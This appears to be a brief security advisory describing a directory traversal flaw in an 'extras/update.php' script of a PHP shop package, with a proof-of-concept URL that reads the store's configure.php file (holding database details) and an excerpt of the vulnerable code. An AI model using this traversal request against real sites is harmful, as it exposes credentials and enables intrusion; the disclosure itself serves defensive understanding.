if extras/ folder is placed inside the www path, you can see all files on
target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php

this is the vulnerable code in update.php:

...
	include '../mysql.php';
	// if a readme.txt file exists, display it to the user
	if(!$read_me) {
		if(file_exists('readme.txt')) {
			$readme_file = 'readme.txt';
		}
		elseif(file_exists('README')) {
			$readme_file = 'README';
		}
		elseif(file_exists('readme')) {
			$readme_file = 'readme';
		}
		if($readme_file) {
			$readme = file($readme_file);
			print "<CENTER><TABLE BORDER=\"1\"
WIDTH=\"75%\" CELLPADDING=\"2\"
CELLSPACING=\"0\"><TR
BGCOLOR=\"#e7e7cc\"><TD>\n";
			print nl2br(htmlentities(implode($readme, ' ')));
